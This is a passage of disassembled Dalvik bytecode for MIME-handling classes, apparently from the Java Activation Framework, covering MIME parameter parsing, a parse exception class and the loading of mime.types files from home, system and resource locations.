0000006A  move                    v0, v1
:6C
0000006C  add-int/lit8            v2, v2, 0x1
00000070  goto                    :16
:72
00000072  const/4                 v0, 0x1
00000074  goto                    :6C
:76
00000076  invoke-virtual          String->charAt(I)C, p0, v1
0000007C  move-result             v2
0000007E  if-eq                   v2, v9, :86
:82
00000082  if-ne                   v2, v8, :8C
:86
00000086  invoke-virtual          StringBuffer->append(C)StringBuffer, v0, v9
:8C
0000008C  invoke-virtual          StringBuffer->append(C)StringBuffer, v0, v2
00000092  add-int/lit8            v1, v1, 0x1
00000096  goto                    :42
.end method

.method private static skipWhiteSpace(String, I)I
          .registers 4
00000000  invoke-virtual          String->length()I, p0
00000006  move-result             v0
:8
00000008  if-ge                   p1, v0, :20
:C
0000000C  invoke-virtual          String->charAt(I)C, p0, p1
00000012  move-result             v1
00000014  invoke-static           Character->isWhitespace(C)Z, v1
0000001A  move-result             v1
0000001C  if-nez                  v1, :22
:20
00000020  return                  p1
:22
00000022  add-int/lit8            p1, p1, 0x1
00000026  goto                    :8
.end method

.method private static unquote(String)String
          .registers 8
00000000  const/4                 v1, 0x0
00000002  invoke-virtual          String->length()I, p0
00000008  move-result             v3
0000000A  new-instance            v4, StringBuffer
0000000E  invoke-direct           StringBuffer-><init>()V, v4
00000014  invoke-virtual          StringBuffer->ensureCapacity(I)V, v4, v3
0000001A  move                    v2, v1
0000001C  move                    v0, v1
:1E
0000001E  if-lt                   v2, v3, :2C
:22
00000022  invoke-virtual          StringBuffer->toString()String, v4
00000028  move-result-object      v0
0000002A  return-object           v0
:2C
0000002C  invoke-virtual          String->charAt(I)C, p0, v2
00000032  move-result             v5
00000034  if-nez                  v0, :4C
:38
00000038  const/16                v6, 0x5C
0000003C  if-eq                   v5, v6, :4C
:40
00000040  invoke-virtual          StringBuffer->append(C)StringBuffer, v4, v5
:46
00000046  add-int/lit8            v2, v2, 0x1
0000004A  goto                    :1E
:4C
0000004C  if-eqz                  v0, :5A
:50
00000050  invoke-virtual          StringBuffer->append(C)StringBuffer, v4, v5
00000056  move                    v0, v1
00000058  goto                    :46
:5A
0000005A  const/4                 v0, 0x1
0000005C  goto                    :46
.end method

.method public get(String)String
          .registers 5
00000000  iget-object             v0, p0, MimeTypeParameterList->parameters:Hashtable
00000004  invoke-virtual          String->trim()String, p1
0000000A  move-result-object      v1
0000000C  sget-object             v2, Locale->ENGLISH:Locale
00000010  invoke-virtual          String->toLowerCase(Locale)String, v1, v2
00000016  move-result-object      v1
00000018  invoke-virtual          Hashtable->get(Object)Object, v0, v1
0000001E  move-result-object      v0
00000020  check-cast              v0, String
00000024  return-object           v0
.end method

.method public getNames()Enumeration
          .registers 2
00000000  iget-object             v0, p0, MimeTypeParameterList->parameters:Hashtable
00000004  invoke-virtual          Hashtable->keys()Enumeration, v0
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public isEmpty()Z
          .registers 2
00000000  iget-object             v0, p0, MimeTypeParameterList->parameters:Hashtable
00000004  invoke-virtual          Hashtable->isEmpty()Z, v0
0000000A  move-result             v0
0000000C  return                  v0
.end method

.method protected parse(String)V
          .registers 10
00000000  const/16                v6, 0x22
00000004  if-nez                  p1, :A
:8
00000008  return-void
:A
0000000A  invoke-virtual          String->length()I, p1
00000010  move-result             v3
00000012  if-lez                  v3, :8
:16
00000016  const/4                 v0, 0x0
00000018  invoke-static           MimeTypeParameterList->skipWhiteSpace(String, I)I, p1, v0
0000001E  move-result             v0
:20
00000020  if-ge                   v0, v3, :34
:24
00000024  invoke-virtual          String->charAt(I)C, p1, v0
0000002A  move-result             v1
0000002C  const/16                v2, 0x3B
00000030  if-eq                   v1, v2, :48
:34
00000034  if-ge                   v0, v3, :8
:38
00000038  new-instance            v0, MimeTypeParseException
0000003C  const-string            v1, "More characters encountered in input than expected."
00000040  invoke-direct           MimeTypeParseException-><init>(String)V, v0, v1
00000046  throw                   v0
:48
00000048  add-int/lit8            v0, v0, 0x1
0000004C  invoke-static           MimeTypeParameterList->skipWhiteSpace(String, I)I, p1, v0
00000052  move-result             v1
00000054  if-ge                   v1, v3, :8
:58
00000058  move                    v0, v1
:5A
0000005A  if-ge                   v0, v3, :72
:5E
0000005E  invoke-virtual          String->charAt(I)C, p1, v0
00000064  move-result             v2
00000066  invoke-static           MimeTypeParameterList->isTokenChar(C)Z, v2
0000006C  move-result             v2
0000006E  if-nez                  v2, :B2
:72
00000072  invoke-virtual          String->substring(I, I)String, p1, v1, v0
00000078  move-result-object      v1
0000007A  sget-object             v2, Locale->ENGLISH:Locale
0000007E  invoke-virtual          String->toLowerCase(Locale)String, v1, v2
00000084  move-result-object      v4
00000086  invoke-static           MimeTypeParameterList->skipWhiteSpace(String, I)I, p1, v0
0000008C  move-result             v0
0000008E  if-ge                   v0, v3, :A2
:92
00000092  invoke-virtual          String->charAt(I)C, p1, v0
00000098  move-result             v1
0000009A  const/16                v2, 0x3D
0000009E  if-eq                   v1, v2, :B8
:A2
000000A2  new-instance            v0, MimeTypeParseException
000000A6  const-string            v1, "Couldn\'t find the \'=\' that separates a parameter name from its value."
000000AA  invoke-direct           MimeTypeParseException-><init>(String)V, v0, v1
000000B0  throw                   v0
:B2
000000B2  add-int/lit8            v0, v0, 0x1
000000B6  goto                    :5A
:B8
000000B8  add-int/lit8            v0, v0, 0x1
000000BC  invoke-static           MimeTypeParameterList->skipWhiteSpace(String, I)I, p1, v0
000000C2  move-result             v0
000000C4  if-lt                   v0, v3, :F2
:C8
000000C8  new-instance            v0, MimeTypeParseException
000000CC  new-instance            v1, StringBuilder
000000D0  const-string            v2, "Couldn\'t find a value for parameter named "
000000D4  invoke-direct           StringBuilder-><init>(String)V, v1, v2
000000DA  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v4
000000E0  move-result-object      v1
000000E2  invoke-virtual          StringBuilder->toString()String, v1
000000E8  move-result-object      v1
000000EA  invoke-direct           MimeTypeParseException-><init>(String)V, v0, v1
000000F0  throw                   v0
:F2
000000F2  invoke-virtual          String->charAt(I)C, p1, v0
000000F8  move-result             v1
000000FA  if-ne                   v1, v6, :17E
:FE
000000FE  add-int/lit8            v2, v0, 0x1
00000102  if-lt                   v2, v3, :116
:106
00000106  new-instance            v0, MimeTypeParseException
0000010A  const-string            v1, "Encountered unterminated quoted parameter value."
0000010E  invoke-direct           MimeTypeParseException-><init>(String)V, v0, v1
00000114  throw                   v0
:116
00000116  move                    v0, v2
:118
00000118  if-lt                   v0, v3, :130
:11C
0000011C  if-eq                   v1, v6, :14E
:120
00000120  new-instance            v0, MimeTypeParseException
00000124  const-string            v1, "Encountered unterminated quoted parameter value."
00000128  invoke-direct           MimeTypeParseException-><init>(String)V, v0, v1
0000012E  throw                   v0
:130
00000130  invoke-virtual          String->charAt(I)C, p1, v0
00000136  move-result             v1
00000138  if-eq                   v1, v6, :11C
:13C
0000013C  const/16                v5, 0x5C
00000140  if-ne                   v1, v5, :148
:144
00000144  add-int/lit8            v0, v0, 0x1
:148
00000148  add-int/lit8            v0, v0, 0x1
0000014C  goto                    :118
:14E
0000014E  invoke-virtual          String->substring(I, I)String, p1, v2, v0
00000154  move-result-object      v1
00000156  invoke-static           MimeTypeParameterList->unquote(String)String, v1
0000015C  move-result-object      v1
0000015E  add-int/lit8            v0, v0, 0x1
00000162  move-object             v7, v1
00000164  move                    v1, v0
00000166  move-object             v0, v7
:168
00000168  iget-object             v2, p0, MimeTypeParameterList->parameters:Hashtable
0000016C  invoke-virtual          Hashtable->put(Object, Object)Object, v2, v4, v0
00000172  invoke-static           MimeTypeParameterList->skipWhiteSpace(String, I)I, p1, v1
00000178  move-result             v0
0000017A  goto/16                 :20
:17E
0000017E  invoke-static           MimeTypeParameterList->isTokenChar(C)Z, v1
00000184  move-result             v1
00000186  if-eqz                  v1, :1B4
:18A
0000018A  move                    v1, v0
:18C
0000018C  if-ge                   v1, v3, :1A4
:190
00000190  invoke-virtual          String->charAt(I)C, p1, v1
00000196  move-result             v2
00000198  invoke-static           MimeTypeParameterList->isTokenChar(C)Z, v2
0000019E  move-result             v2
000001A0  if-nez                  v2, :1AE
:1A4
000001A4  invoke-virtual          String->substring(I, I)String, p1, v0, v1
000001AA  move-result-object      v0
000001AC  goto                    :168
:1AE
000001AE  add-int/lit8            v1, v1, 0x1
000001B2  goto                    :18C
:1B4
000001B4  new-instance            v1, MimeTypeParseException
000001B8  new-instance            v2, StringBuilder
000001BC  const-string            v3, "Unexpected character encountered at index "
000001C0  invoke-direct           StringBuilder-><init>(String)V, v2, v3
000001C6  invoke-virtual          StringBuilder->append(I)StringBuilder, v2, v0
000001CC  move-result-object      v0
000001CE  invoke-virtual          StringBuilder->toString()String, v0
000001D4  move-result-object      v0
000001D6  invoke-direct           MimeTypeParseException-><init>(String)V, v1, v0
000001DC  throw                   v1
.end method

.method public remove(String)V
          .registers 5
00000000  iget-object             v0, p0, MimeTypeParameterList->parameters:Hashtable
00000004  invoke-virtual          String->trim()String, p1
0000000A  move-result-object      v1
0000000C  sget-object             v2, Locale->ENGLISH:Locale
00000010  invoke-virtual          String->toLowerCase(Locale)String, v1, v2
00000016  move-result-object      v1
00000018  invoke-virtual          Hashtable->remove(Object)Object, v0, v1
0000001E  return-void
.end method

.method public set(String, String)V
          .registers 6
00000000  iget-object             v0, p0, MimeTypeParameterList->parameters:Hashtable
00000004  invoke-virtual          String->trim()String, p1
0000000A  move-result-object      v1
0000000C  sget-object             v2, Locale->ENGLISH:Locale
00000010  invoke-virtual          String->toLowerCase(Locale)String, v1, v2
00000016  move-result-object      v1
00000018  invoke-virtual          Hashtable->put(Object, Object)Object, v0, v1, p2
0000001E  return-void
.end method

.method public size()I
          .registers 2
00000000  iget-object             v0, p0, MimeTypeParameterList->parameters:Hashtable
00000004  invoke-virtual          Hashtable->size()I, v0
0000000A  move-result             v0
0000000C  return                  v0
.end method

.method public toString()String
          .registers 5
00000000  new-instance            v1, StringBuffer
00000004  invoke-direct           StringBuffer-><init>()V, v1
0000000A  iget-object             v0, p0, MimeTypeParameterList->parameters:Hashtable
0000000E  invoke-virtual          Hashtable->size()I, v0
00000014  move-result             v0
00000016  mul-int/lit8            v0, v0, 0x10
0000001A  invoke-virtual          StringBuffer->ensureCapacity(I)V, v1, v0
00000020  iget-object             v0, p0, MimeTypeParameterList->parameters:Hashtable
00000024  invoke-virtual          Hashtable->keys()Enumeration, v0
0000002A  move-result-object      v2
:2C
0000002C  invoke-interface        Enumeration->hasMoreElements()Z, v2
00000032  move-result             v0
00000034  if-nez                  v0, :42
:38
00000038  invoke-virtual          StringBuffer->toString()String, v1
0000003E  move-result-object      v0
00000040  return-object           v0
:42
00000042  invoke-interface        Enumeration->nextElement()Object, v2
00000048  move-result-object      v0
0000004A  check-cast              v0, String
0000004E  const-string            v3, "; "
00000052  invoke-virtual          StringBuffer->append(String)StringBuffer, v1, v3
00000058  invoke-virtual          StringBuffer->append(String)StringBuffer, v1, v0
0000005E  const/16                v3, 0x3D
00000062  invoke-virtual          StringBuffer->append(C)StringBuffer, v1, v3
00000068  iget-object             v3, p0, MimeTypeParameterList->parameters:Hashtable
0000006C  invoke-virtual          Hashtable->get(Object)Object, v3, v0
00000072  move-result-object      v0
00000074  check-cast              v0, String
00000078  invoke-static           MimeTypeParameterList->quote(String)String, v0
0000007E  move-result-object      v0
00000080  invoke-virtual          StringBuffer->append(String)StringBuffer, v1, v0
00000086  goto                    :2C
.end method

#--------------------------------------------------------------------------------
.class public MimeTypeParseException
.super Exception
.source ""

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           Exception-><init>()V, p0
00000006  return-void
.end method

.method public constructor <init>(String)V
          .registers 2
00000000  invoke-direct           Exception-><init>(String)V, p0, p1
00000006  return-void
.end method

#--------------------------------------------------------------------------------
.class public MimetypesFileTypeMap
.super FileTypeMap
.source ""

.field private static final PROG:I
.field private static defDB:MimeTypeFile
.field private static defaultType:String
.field private DB:[MimeTypeFile

.method static constructor <clinit>()V
          .registers 1
00000000  const/4                 v0, 0x0
00000002  sput-object             v0, MimetypesFileTypeMap->defDB:MimeTypeFile
00000006  const-string            v0, "application/octet-stream"
0000000A  sput-object             v0, MimetypesFileTypeMap->defaultType:String
0000000E  return-void
.end method

.method public constructor <init>()V
          .registers 4
00000000  invoke-direct           FileTypeMap-><init>()V, p0
00000006  new-instance            v0, Vector
0000000A  const/4                 v1, 0x5
0000000C  invoke-direct           Vector-><init>(I)V, v0, v1
00000012  const/4                 v1, 0x0
00000014  invoke-virtual          Vector->addElement(Object)V, v0, v1
0000001A  const-string            v1, "MimetypesFileTypeMap: load HOME"
0000001E  invoke-static           LogSupport->log(String)V, v1
:24
00000024  const-string            v1, "user.home"
00000028  invoke-static           System->getProperty(String)String, v1
0000002E  move-result-object      v1
00000030  if-eqz                  v1, :78
:34
00000034  new-instance            v2, StringBuilder
00000038  invoke-static           String->valueOf(Object)String, v1
0000003E  move-result-object      v1
00000040  invoke-direct           StringBuilder-><init>(String)V, v2, v1
00000046  sget-object             v1, File->separator:String
0000004A  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
00000050  move-result-object      v1
00000052  const-string            v2, ".mime.types"
00000056  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000005C  move-result-object      v1
0000005E  invoke-virtual          StringBuilder->toString()String, v1
00000064  move-result-object      v1
00000066  invoke-direct           MimetypesFileTypeMap->loadFile(String)MimeTypeFile, p0, v1
0000006C  move-result-object      v1
0000006E  if-eqz                  v1, :78
:72
00000072  invoke-virtual          Vector->addElement(Object)V, v0, v1
:78
00000078  const-string            v1, "MimetypesFileTypeMap: load SYS"
0000007C  invoke-static           LogSupport->log(String)V, v1
:82
00000082  new-instance            v1, StringBuilder
00000086  const-string            v2, "java.home"
0000008A  invoke-static           System->getProperty(String)String, v2
00000090  move-result-object      v2
00000092  invoke-static           String->valueOf(Object)String, v2
00000098  move-result-object      v2
0000009A  invoke-direct           StringBuilder-><init>(String)V, v1, v2
000000A0  sget-object             v2, File->separator:String
000000A4  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000000AA  move-result-object      v1
000000AC  const-string            v2, "lib"
000000B0  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000000B6  move-result-object      v1
000000B8  sget-object             v2, File->separator:String
000000BC  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000000C2  move-result-object      v1
000000C4  const-string            v2, "mime.types"
000000C8  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000000CE  move-result-object      v1
000000D0  invoke-virtual          StringBuilder->toString()String, v1
000000D6  move-result-object      v1
000000D8  invoke-direct           MimetypesFileTypeMap->loadFile(String)MimeTypeFile, p0, v1
000000DE  move-result-object      v1
000000E0  if-eqz                  v1, :EA
:E4
000000E4  invoke-virtual          Vector->addElement(Object)V, v0, v1
:EA
000000EA  const-string            v1, "MimetypesFileTypeMap: load JAR"
000000EE  invoke-static           LogSupport->log(String)V, v1
000000F4  const-string            v1, "mime.types"
000000F8  invoke-direct           MimetypesFileTypeMap->loadAllResources(Vector, String)V, p0, v0, v1
000000FE  const-string            v1, "MimetypesFileTypeMap: load DEF"
00000102  invoke-static           LogSupport->log(String)V, v1
00000108  const-class             v1, MimetypesFileTypeMap
0000010C  monitor-enter           v1
:10E
0000010E  sget-object             v2, MimetypesFileTypeMap->defDB:MimeTypeFile
00000112  if-nez                  v2, :126
:116
00000116  const-string            v2, "/mimetypes.default"
0000011A  invoke-direct           MimetypesFileTypeMap->loadResource(String)MimeTypeFile, p0, v2
00000120  move-result-object      v2
00000122  sput-object             v2, MimetypesFileTypeMap->defDB:MimeTypeFile
:126
00000126  monitor-exit            v1
:128
00000128  sget-object             v1, MimetypesFileTypeMap->defDB:MimeTypeFile
0000012C  if-eqz                  v1, :13A
:130
00000130  sget-object             v1, MimetypesFileTypeMap->defDB:MimeTypeFile
00000134  invoke-virtual          Vector->addElement(Object)V, v0, v1
:13A
0000013A  invoke-virtual          Vector->size()I, v0
00000140  move-result             v1
00000142  new-array               v1, v1, [MimeTypeFile
00000146  iput-object             v1, p0, MimetypesFileTypeMap->DB:[MimeTypeFile
0000014A  iget-object             v1, p0, MimetypesFileTypeMap->DB:[MimeTypeFile
0000014E  invoke-virtual          Vector->copyInto([Object)V, v0, v1
00000154  return-void
:156
00000156  move-exception          v0
:158
00000158  monitor-exit            v1
:15A
0000015A  throw                   v0
:15C
0000015C  move-exception          v1
0000015E  goto                    :EA
:160
00000160  move-exception          v1
00000162  goto                    :78
          .catch SecurityException {:24 .. :78} :160
          .catch SecurityException {:82 .. :EA} :15C
          .catchall {:10E .. :128} :156
          .catchall {:158 .. :15A} :156
.end method

.method public constructor <init>(InputStream)V
          .registers 5
00000000  invoke-direct           MimetypesFileTypeMap-><init>()V, p0
:6
00000006  iget-object             v0, p0, MimetypesFileTypeMap->DB:[MimeTypeFile
0000000A  const/4                 v1, 0x0
0000000C  new-instance            v2, MimeTypeFile
00000010  invoke-direct           MimeTypeFile-><init>(InputStream)V, v2, p1
00000016  aput-object             v2, v0, v1
:1A
0000001A  return-void
:1C
0000001C  move-exception          v0
0000001E  goto                    :1A
          .catch IOException {:6 .. :1A} :1C
.end method

.method public constructor <init>(String)V
          .registers 5
00000000  invoke-direct           MimetypesFileTypeMap-><init>()V, p0
00000006  iget-object             v0, p0, MimetypesFileTypeMap->DB:[MimeTypeFile
0000000A  const/4                 v1, 0x0
0000000C  new-instance            v2, MimeTypeFile
00000010  invoke-direct           MimeTypeFile-><init>(String)V, v2, p1
00000016  aput-object             v2, v0, v1
0000001A  return-void
.end method

.method private loadAllResources(Vector, String)V
          .registers 12
00000000  const/4                 v2, 0x0
:2
00000002  invoke-static           SecuritySupport->getContextClassLoader()ClassLoader
00000008  move-result-object      v0
0000000A  if-nez                  v0, :1E
:E
0000000E  invoke-virtual          Object->getClass()Class, p0
00000014  move-result-object      v0
00000016  invoke-virtual          Class->getClassLoader()ClassLoader, v0
0000001C  move-result-object      v0
:1E
0000001E  if-eqz                  v0, :8E
:22
00000022  invoke-static           SecuritySupport->getResources(ClassLoader, String)[URL, v0, p2
00000028  move-result-object      v0
0000002A  move-object             v4, v0
:2C
0000002C  if-eqz                  v4, :4E
:30
00000030  invoke-static           LogSupport->isLoggable()Z
00000036  move-result             v0
00000038  if-eqz                  v0, :46
:3C
0000003C  const-string            v0, "MimetypesFileTypeMap: getResources"
00000040  invoke-static           LogSupport->log(String)V, v0
:46
00000046  move                    v3, v2
:48
00000048  array-length            v0, v4
:4A
0000004A  if-lt                   v3, v0, :9A
:4E
0000004E  if-nez                  v2, :8C
:52
00000052  const-string            v0, "MimetypesFileTypeMap: !anyLoaded"
00000056  invoke-static           LogSupport->log(String)V, v0
0000005C  new-instance            v0, StringBuilder
00000060  const-string            v1, "/"
00000064  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000006A  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p2
00000070  move-result-object      v0
00000072  invoke-virtual          StringBuilder->toString()String, v0
00000078  move-result-object      v0
0000007A  invoke-direct           MimetypesFileTypeMap->loadResource(String)MimeTypeFile, p0, v0
00000080  move-result-object      v0
00000082  if-eqz                  v0, :8C
:86
00000086  invoke-virtual          Vector->addElement(Object)V, p1, v0
:8C
0000008C  return-void
:8E
0000008E  invoke-static           SecuritySupport->getSystemResources(String)[URL, p2
00000094  move-result-object      v0
00000096  move-object             v4, v0
00000098  goto                    :2C
:9A
0000009A  aget-object             v5, v4, v3
0000009E  const/4                 v1, 0x0
000000A0  invoke-static           LogSupport->isLoggable()Z
000000A6  move-result             v0
000000A8  if-eqz                  v0, :D0
:AC
000000AC  new-instance            v0, StringBuilder
000000B0  const-string            v6, "MimetypesFileTypeMap: URL "
000000B4  invoke-direct           StringBuilder-><init>(String)V, v0, v6
000000BA  invoke-virtual          StringBuilder->append(Object)StringBuilder, v0, v5
000000C0  move-result-object      v0
000000C2  invoke-virtual          StringBuilder->toString()String, v0
000000C8  move-result-object      v0
000000CA  invoke-static           LogSupport->log(String)V, v0
:D0
000000D0  invoke-static           SecuritySupport->openStream(URL)InputStream, v5
:D6
000000D6  move-result-object      v1
000000D8  if-eqz                  v1, :134
:DC
000000DC  new-instance            v0, MimeTypeFile
000000E0  invoke-direct           MimeTypeFile-><init>(InputStream)V, v0, v1
000000E6  invoke-virtual          Vector->addElement(Object)V, p1, v0
000000EC  const/4                 v2, 0x1
000000EE  invoke-static           LogSupport->isLoggable()Z
000000F4  move-result             v0
000000F6  if-eqz                  v0, :278
:FA
000000FA  new-instance            v0, StringBuilder
000000FE  const-string            v6, "MimetypesFileTypeMap: successfully loaded mime types from URL: "
00000102  invoke-direct           StringBuilder-><init>(String)V, v0, v6
00000108  invoke-virtual          StringBuilder->append(Object)StringBuilder, v0, v5
0000010E  move-result-object      v0
00000110  invoke-virtual          StringBuilder->toString()String, v0
00000116  move-result-object      v0
00000118  invoke-static           LogSupport->log(String)V, v0
:11E
0000011E  move                    v0, v2
:120
00000120  if-eqz                  v1, :12A
:124
00000124  invoke-virtual          InputStream->close()V, v1
:12A
0000012A  add-int/lit8            v2, v3, 0x1
0000012E  move                    v3, v2
00000130  move                    v2, v0
00000132  goto                    :48
:134
00000134  invoke-static           LogSupport->isLoggable()Z
0000013A  move-result             v0
0000013C  if-eqz                  v0, :278
:140
00000140  new-instance            v0, StringBuilder
00000144  const-string            v6, "MimetypesFileTypeMap: not loading mime types from URL: "
00000148  invoke-direct           StringBuilder-><init>(String)V, v0, v6
0000014E  invoke-virtual          StringBuilder->append(Object)StringBuilder, v0, v5
00000154  move-result-object      v0
00000156  invoke-virtual          StringBuilder->toString()String, v0
0000015C  move-result-object      v0
0000015E  invoke-static           LogSupport->log(String)V, v0
:164
00000164  move                    v0, v2
00000166  goto                    :120
:168
00000168  move-exception          v0
0000016A  move-object             v8, v0
0000016C  move                    v0, v2
0000016E  move-object             v2, v1
00000170  move-object             v1, v8
:172
00000172  invoke-static           LogSupport->isLoggable()Z
00000178  move-result             v6
0000017A  if-eqz                  v6, :1A2
:17E
0000017E  new-instance            v6, StringBuilder
00000182  const-string            v7, "MimetypesFileTypeMap: can\'t load "
00000186  invoke-direct           StringBuilder-><init>(String)V, v6, v7
0000018C  invoke-virtual          StringBuilder->append(Object)StringBuilder, v6, v5
00000192  move-result-object      v5
00000194  invoke-virtual          StringBuilder->toString()String, v5
0000019A  move-result-object      v5
0000019C  invoke-static           LogSupport->log(String, Throwable)V, v5, v1
:1A2
000001A2  if-eqz                  v2, :12A
:1A6
000001A6  invoke-virtual          InputStream->close()V, v2
:1AC
000001AC  goto                    :12A
:1AE
000001AE  move-exception          v1
000001B0  goto                    :12A
:1B2
000001B2  move-exception          v0
000001B4  move-object             v8, v0
000001B6  move                    v0, v2
000001B8  move-object             v2, v1
000001BA  move-object             v1, v8
:1BC
000001BC  invoke-static           LogSupport->isLoggable()Z
000001C2  move-result             v6
000001C4  if-eqz                  v6, :1EC
:1C8
000001C8  new-instance            v6, StringBuilder
000001CC  const-string            v7, "MimetypesFileTypeMap: can\'t load "
000001D0  invoke-direct           StringBuilder-><init>(String)V, v6, v7
000001D6  invoke-virtual          StringBuilder->append(Object)StringBuilder, v6, v5
000001DC  move-result-object      v5
000001DE  invoke-virtual          StringBuilder->toString()String, v5
000001E4  move-result-object      v5
000001E6  invoke-static           LogSupport->log(String, Throwable)V, v5, v1
:1EC
000001EC  if-eqz                  v2, :12A
:1F0
000001F0  invoke-virtual          InputStream->close()V, v2
:1F6
000001F6  goto                    :12A
:1F8
000001F8  move-exception          v1
000001FA  goto                    :12A
:1FC
000001FC  move-exception          v0
:1FE
000001FE  if-eqz                  v1, :208
:202
00000202  invoke-virtual          InputStream->close()V, v1
:208
00000208  throw                   v0
:20A
0000020A  move-exception          v0
:20C
0000020C  invoke-static           LogSupport->isLoggable()Z
00000212  move-result             v1
00000214  if-eqz                  v1, :4E
:218
00000218  new-instance            v1, StringBuilder
0000021C  const-string            v3, "MimetypesFileTypeMap: can\'t load "
00000220  invoke-direct           StringBuilder-><init>(String)V, v1, v3
00000226  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, p2
0000022C  move-result-object      v1
0000022E  invoke-virtual          StringBuilder->toString()String, v1
00000234  move-result-object      v1
00000236  invoke-static           LogSupport->log(String, Throwable)V, v1, v0
0000023C  goto/16                 :4E
:240
00000240  move-exception          v1
00000242  goto                    :208
:244
00000244  move-exception          v1
00000246  goto/16                 :12A
:24A
0000024A  move-exception          v1
0000024C  move                    v2, v0
0000024E  move-object             v0, v1
00000250  goto                    :20C
:252
00000252  move-exception          v1
00000254  move-object             v8, v1
00000256  move-object             v1, v2
00000258  move                    v2, v0
0000025A  move-object             v0, v8
0000025C  goto                    :1FE
:25E
0000025E  move-exception          v0
00000260  move-object             v8, v0
00000262  move                    v0, v2
00000264  move-object             v2, v1
00000266  move-object             v1, v8
00000268  goto                    :1BC
:26A
0000026A  move-exception          v0
0000026C  move-object             v8, v0
0000026E  move                    v0, v2
00000270  move-object             v2, v1
00000272  move-object             v1, v8
00000274  goto/16                 :172
:278
00000278  move                    v0, v2
0000027A  goto/16                 :120
          .catch Exception {:2 .. :4A} :20A
          .catch Exception {:8E .. :D0} :20A
          .catch IOException {:D0 .. :D6} :168
          .catch SecurityException {:D0 .. :D6} :1B2
          .catchall {:D0 .. :D6} :1FC
          .catch IOException {:DC .. :11E} :26A
          .catch SecurityException {:DC .. :11E} :25E
          .catchall {:DC .. :11E} :1FC
          .catch IOException {:124 .. :12A} :244
          .catch Exception {:124 .. :12A} :24A
          .catch IOException {:134 .. :164} :26A
          .catch SecurityException {:134 .. :164} :25E
          .catchall {:134 .. :164} :1FC
          .catchall {:172 .. :1A2} :252
          .catch IOException {:1A6 .. :1AC} :1AE
          .catch Exception {:1A6 .. :1AC} :24A
          .catchall {:1BC .. :1EC} :252
          .catch IOException {:1F0 .. :1F6} :1F8
          .catch Exception {:1F0 .. :1F6} :24A
          .catch IOException {:202 .. :208} :240
          .catch Exception {:202 .. :208} :20A
          .catch Exception {:208 .. :20A} :20A
.end method

.method private loadFile(String)MimeTypeFile
          .registers 4
00000000  const/4                 v1, 0x0
:2
00000002  new-instance            v0, MimeTypeFile
00000006  invoke-direct           MimeTypeFile-><init>(String)V, v0, p1
:C
0000000C  return-object           v0
:E
0000000E  move-exception          v0
00000010  move-object             v0, v1
00000012  goto                    :C
          .catch IOException {:2 .. :C} :E
.end method

.method private loadResource(String)MimeTypeFile
          .registers 7
00000000  const/4                 v1, 0x0
:2
00000002  invoke-virtual          Object->getClass()Class, p0
00000008  move-result-object      v0
0000000A  invoke-static           SecuritySupport->getResourceAsStream(Class, String)InputStream, v0, p1
:10
00000010  move-result-object      v2
00000012  if-eqz                  v2, :5C
:16
00000016  new-instance            v0, MimeTypeFile
0000001A  invoke-direct           MimeTypeFile-><init>(InputStream)V, v0, v2
00000020  invoke-static           LogSupport->isLoggable()Z
00000026  move-result             v3
00000028  if-eqz                  v3, :50
:2C
0000002C  new-instance            v3, StringBuilder
00000030  const-string            v4, "MimetypesFileTypeMap: successfully loaded mime types file: "
00000034  invoke-direct           StringBuilder-><init>(String)V, v3, v4
0000003A  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, p1
00000040  move-result-object      v3
00000042  invoke-virtual          StringBuilder->toString()String, v3
00000048  move-result-object      v3
0000004A  invoke-static           LogSupport->log(String)V, v3
:50
00000050  if-eqz                  v2, :5A
:54
00000054  invoke-virtual          InputStream->close()V, v2
:5A
0000005A  return-object           v0
:5C
0000005C  invoke-static           LogSupport->isLoggable()Z
00000062  move-result             v0
00000064  if-eqz                  v0, :8C
:68
00000068  new-instance            v0, StringBuilder
0000006C  const-string            v3, "MimetypesFileTypeMap: not loading mime types file: "
00000070  invoke-direct           StringBuilder-><init>(String)V, v0, v3
00000076  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p1
0000007C  move-result-object      v0
0000007E  invoke-virtual          StringBuilder->toString()String, v0
00000084  move-result-object      v0
00000086  invoke-static           LogSupport->log(String)V, v0
:8C
0000008C  if-eqz                  v2, :96
:90
00000090  invoke-virtual          InputStream->close()V, v2
:96
00000096  move-object             v0, v1
00000098  goto                    :5A
:9A
0000009A  move-exception          v0
0000009C  move-object             v2, v1
:9E
0000009E  invoke-static           LogSupport->isLoggable()Z
000000A4  move-result             v3
000000A6  if-eqz                  v3, :CE
:AA
000000AA  new-instance            v3, StringBuilder
000000AE  const-string            v4, "MimetypesFileTypeMap: can\'t load "
000000B2  invoke-direct           StringBuilder-><init>(String)V, v3, v4
000000B8  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, p1
000000BE  move-result-object      v3
000000C0  invoke-virtual          StringBuilder->toString()String, v3
000000C6  move-result-object      v3
000000C8  invoke-static           LogSupport->log(String, Throwable)V, v3, v0
:CE
000000CE  if-eqz                  v2, :96
:D2
000000D2  invoke-virtual          InputStream->close()V, v2
:D8
000000D8  goto                    :96
:DA
000000DA  move-exception          v0
000000DC  goto                    :96
:DE
000000DE  move-exception          v0
000000E0  move-object             v2, v1
:E2
000000E2  invoke-static           LogSupport->isLoggable()Z
000000E8  move-result             v3
000000EA  if-eqz                  v3, :112
:EE
000000EE  new-instance            v3, StringBuilder
000000F2  const-string            v4, "MimetypesFileTypeMap: can\'t load "
000000F6  invoke-direct           StringBuilder-><init>(String)V, v3, v4
000000FC  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, p1
00000102  move-result-object      v3
00000104  invoke-virtual          StringBuilder->toString()String, v3
0000010A  move-result-object      v3
0000010C  invoke-static           LogSupport->log(String, Throwable)V, v3, v0
:112
00000112  if-eqz                  v2, :96
:116
